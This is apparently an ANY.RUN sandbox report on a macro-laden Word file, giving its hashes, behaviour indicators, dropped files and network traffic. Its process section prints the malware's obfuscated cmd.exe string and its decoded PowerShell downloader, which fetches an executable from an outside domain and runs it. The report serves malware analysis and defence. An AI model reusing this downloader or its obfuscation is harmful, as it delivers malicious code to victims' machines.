analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

thefiremangroup.doc

Full analysis: https://app.any.run/tasks/725c01a7-129f-41c5-857b-e2ba22969b7c
Verdict: Malicious activity
Analysis date: December 18, 2018, 15:05:33
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
maldoc-4
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 09:00:00 2018, Last Saved Time/Date: Tue Dec 18 09:00:00 2018, Number of Pages: 1, Number of Words: 6, Number of Characters: 35, Security: 0
MD5:

260E78B5198E80DA8A2854E7803FE67A

SHA1:

37102495A56F0751DA44E2A0FFCBB9E904C85577

SHA256:

F12D654C207881E71209C1666D405B7AA6E617F6888B7474BB336A1E02D4D243

SSDEEP:

768:AVucRFoqkp59YBvLdTv9ReVi4eFov5UHRFBecrlAbq8Qs+1o9:Aocn1kp59gxBK85fBe8e+a9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • WINWORD.EXE (PID: 2704)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2704)

    • Executes PowerShell scripts

      • cmd.exe (PID: 2784)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 2148)

    • Creates files in the user directory

      • powershell.exe (PID: 2488)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2704)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2704)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: -
Subject: -
Author: -
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2018:12:18 09:00:00
ModifyDate: 2018:12:18 09:00:00
Pages: 1
Words: 6
Characters: 35
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 40
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
35
Monitored processes
4
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs cmd.exe no specs cmd.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2704"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\thefiremangroup.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2148c:\iliNnPjuGO\FcAEiwEtUQZIsh\SLOQlZsqf\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set fRGc=;'llZ'=FMW$}}{hctac}};kaerb;'Lbi'=Spz$;kMS$ metI-ekovnI{ )00008 eg- htgnel.)kMS$ metI-teG(( fI;'mCB'=wmz$;)kMS$ ,hjN$(eliFdaolnwoD.clj${yrt{)VBm$ ni hjN$(hcaerof;'exe.'+jXo$+'\'+pmet:vne$=kMS$;'djs'=anY$;'079' = jXo$;'VhH'=kIB$;)'@'(tilpS.'sdd.9onixis=l?php.m2ke204o/oqnes-zer/moc.htsidnocsi//:ptth'=VBm$;tneilCbeW.teN tcejbo-wen=clj$;'aad'=YNY$ llehsrewop&&for /L %3 in (355;-1;0)do set pz=!pz!!fRGc:~%3,1!&&if %3==0 call %pz:~4%"c:\windows\system32\cmd.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2784CmD /V:/C"set fRGc=;'llZ'=FMW$}}{hctac}};kaerb;'Lbi'=Spz$;kMS$ metI-ekovnI{ )00008 eg- htgnel.)kMS$ metI-teG(( fI;'mCB'=wmz$;)kMS$ ,hjN$(eliFdaolnwoD.clj${yrt{)VBm$ ni hjN$(hcaerof;'exe.'+jXo$+'\'+pmet:vne$=kMS$;'djs'=anY$;'079' = jXo$;'VhH'=kIB$;)'@'(tilpS.'sdd.9onixis=l?php.m2ke204o/oqnes-zer/moc.htsidnocsi//:ptth'=VBm$;tneilCbeW.teN tcejbo-wen=clj$;'aad'=YNY$ llehsrewop&&for /L %3 in (355;-1;0)do set pz=!pz!!fRGc:~%3,1!&&if %3==0 call %pz:~4%"C:\Windows\system32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2488powershell $YNY='daa';$jlc=new-object Net.WebClient;$mBV='http://iscondisth.com/rez-senqo/o402ek2m.php?l=sixino9.dds'.Split('@');$BIk='HhV';$oXj = '970';$Yna='sjd';$SMk=$env:temp+'\'+$oXj+'.exe';foreach($Njh in $mBV){try{$jlc.DownloadFile($Njh, $SMk);$zmw='BCm';If ((Get-Item $SMk).length -ge 80000) {Invoke-Item $SMk;$zpS='ibL';break;}}catch{}}$WMF='Zll';C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 414
Read events
951
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
5

Dropped files

PID
Process
Filename
Type
2704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR8822.tmp.cvr —
MD5:—
SHA256:—
2704WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\31A417F6.wmf —
MD5:—
SHA256:—
2704WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\15D99F74.wmf —
MD5:—
SHA256:—
2488powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F07P2VZ03IBSAVVKGE0Z.temp —
MD5:—
SHA256:—
2704WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:41379A924454D4DBF21EC8153C20C10F
SHA256:0C15CF2B44D7D8698623838B4214E135CD0F5B33F8FE0D860DBE04AB98A65B80
2488powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2488powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF199948.TMPbinary
MD5:901ECDF767744E6BB59CB023757886E3
SHA256:48A990A7B1201BFD70F417698302A6299D036A6574E558A96000AF48469479E1
2704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:B7D5AA2D3CE26FC7832B7E256C53A920
SHA256:58633CCEE5208D0BD4A553D7174508669E91B35C2BAD8DCDA903DC74E39C1062
2704WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$efiremangroup.docpgc
MD5:18ADB862D9CB7CBCC787EA703CAE2FEA
SHA256:F7B75BB09749DFC30894DECC714A7B714C2F85312B52442326503B9EF3BD4F90
2704WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3DE73B7F.wmfwmf
MD5:DAF4B92BF507035932C6D90A446E3835
SHA256:991C08CB1B98AE271373E94EC28B661B4755F6DDE1BC8A752C8BD08781DE93CA
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
1
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2488
powershell.exe
GET
404
185.251.39.156:80
http://iscondisth.com/rez-senqo/o402ek2m.php?l=sixino9.dds
unknown
—
—
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2488
powershell.exe
185.251.39.156:80
iscondisth.com
—
—
unknown

DNS requests

Domain
IP
Reputation
iscondisth.com
  • 185.251.39.156
suspicious

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
thefiremangroup.doc